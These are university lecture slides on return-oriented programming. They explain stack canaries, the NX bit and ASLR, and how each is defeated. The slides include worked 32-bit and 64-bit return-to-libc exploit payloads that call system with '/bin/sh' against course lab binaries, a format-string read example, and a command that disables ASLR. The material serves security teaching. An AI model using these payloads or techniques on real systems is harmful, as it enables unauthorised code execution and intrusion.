

CS356: Return-Oriented Programming

W. Michael Petullo

University of Wisconsin–La Crosse

As of October 5, 2021





Exploitation: Countermeasure: Stack Canaries (1998)

- 1 Generate a random value r when loading program.
- 2 Place r on stack at beginning of each function.
- 3 Check that r is unchanged before returning; crash if changed.

RSP	0x7fffffff d1e0	0x002144454b434148	buf bytes 7-0
	0x7fffffff d1e8	r	Stack canary
RBP	0x7fffffff d1f0	0x00007fffffff daf0	Saved RBP
	0x7fffffff d1f8	0x00000000004017d5	Return addr.
		...	

To compile with stack canaries: `gcc -fstack-protector -o foo foo.c`

```
1   mov    -0x8(%rbp),%rax
2   sub    %fs:0x28,%rax
3   je     0x401264 <read_a_bit+254>
4   callq 0x401030 <__stack_chk_fail@plt>
```



Exploitation: Defeat: Stack Canaries (1998)

- 1 Generate a random value r when loading program.
- 2 Place r on stack at beginning of each function.
- 3 Check that r is unchanged before returning; crash if changed.

RSP	0x7fffffff d1e0	0x002144454b434148	buf bytes 7–0
	0x7fffffff d1e8	r	Stack canary
RBP	0x7fffffff d1f0	0x00007fffffff daf0	Saved RBP
	0x7fffffff d1f8	0x00000000004017d5	Return addr.
		...	

Defeat:

- 1 Find a bug that leaks the canary (e.g., see Aquinas fsv).
- 2 Write back r during course of buffer overflow (see Aquinas canary).



Shellcode and Countermeasures: Read Primitive

```
1 #include <stdio.h>
2 #include <stdlib.h>

4 int main(void)
5 {
6     printf(getenv("EDITOR"));
7 }
```

Exploitation: Countermeasure: AMD64 NX Bit (2000)



- ➊ Add a no-execute bit to the kernel data structures that describe memory.
- ➋ Modify the processor to enforce the no-execute bit.
- ➌ Mark stacks and other regions as no-execute.

Kills 1990s-style shellcode.

To compile without no-execute bit protection (it is on by default):

```
gcc -zexecstack -o foo foo.c
```

Exploitation: Countermeasure: AMD64 NX Bit (2000)



- ➊ Add a no-execute bit to the kernel data structures that describe memory.
- ➋ Modify the processor to enforce the no-execute bit.
- ➌ Mark stacks and other regions as no-execute.

Defeat:
Use return-to-libc.

Defeat:

Use return-oriented programming (see Aquinas rop).

- ➊ Find useful bits of code that already exist in the program.
- ➋ Build a wild stack that drives the processor through the useful bits of code.

Useful code includes things like this:

- ▶ `pop rdi; ret`
- ▶ `pop rsi; ret`

Why?



Exploitation: Countermeasure: ASLR (2001–2005)

- ① Generate a random value r when loading program.
- ② Layout program in memory at offset r .

Makes it difficult to guess addresses required by attacks, such as the address of a buffer or the address of a function you want to return into.

Globally disable ASLR (as root):

```
echo 0 >/proc/sys/kernel/randomize_va_space
```

Debuggers often disable ASLR:

```
[user@host]$ gdb foo
(gdb) show disable-randomization
Disabling randomization of debuggee's virtual address space on.
(gdb) set disable-randomization off
```



- ① Generate a random value r when loading program.
- ② Layout program in memory at offset r .

Defeat:

- ① Find a bug that leaks the offset or a relative address.
- ② Dynamically use offset or relative addresses in exploit.

Return-Oriented Programming: 32-Bit Ret.-to-Libc Exploit



- 1 Use `gdb` to discover stack layout.
- 2 Use `gdb` to discover address of `system`.
- 3 Use `gdb` to discover address of `"/bin/sh"` in `service-retlibc32`:
 - `break main`
 - `run`
 - `find &system, +99999999, "/bin/sh"`
- 4 Generate exploit:

```
echo -e "aaaabbbbccccddddeeee\  
\xc0\x30\x05\x08ffff\x6f\xaf\x0a\x08echo_HACKED" >/tmp/exploit
```



Oh, no! Pass-by-register!

Return-Oriented Programming: 64-Bit Return to Libc



- 1 Place address of `"/bin/sh"` on stack.
- 2 Find “gadget” that pops from stack to `%rdi`.
- 3 Set return address to gadget.
- 4 Set next return address to `system`.

RSP

0x00000000004012b0
0x6161616161616161
0x6262626262626262
0x0000000000401313
0x00007ffff7f6ab66
0x00007ffff7e27450
...

buffer
Saved BP
Gadget
`/bin/sh`
`system`

Use `ROPgadget --binary PROGRAM` to print gadgets present in `PROGRAM`.

Return-Oriented Programming: 64-Bit Ret.-to-Libc Exploit



① Use `gdb` to discover address of `"/bin/sh"` in `service-retlibc64`:

- `break main`
- `run`
- `find &system, +99999999, "/bin/sh"`

② Use `ROPgadget` to find gadget:

```
ROPgadget --binary service-retlibc64 | grep "pop rdi"
```

③ Generate exploit:

```
echo -e "aaaaaaaaabbbbbbbb\x13\x13\x40\x00\x00\x00\x00\x00\x00\x66\xab\xf6\xf7\xff\x7f\x00\x00\x50\x74\xe2\xf7\xff\x7f\x00\x00\necho _HACKED" >/tmp/exploit
```




Return-Oriented Programming: Assignments

Graded Homework Aquinas: nop and rop (due Oct. 19)

Reading Read 0x500

<https://www.flyn.org/courses/cs356/schedule>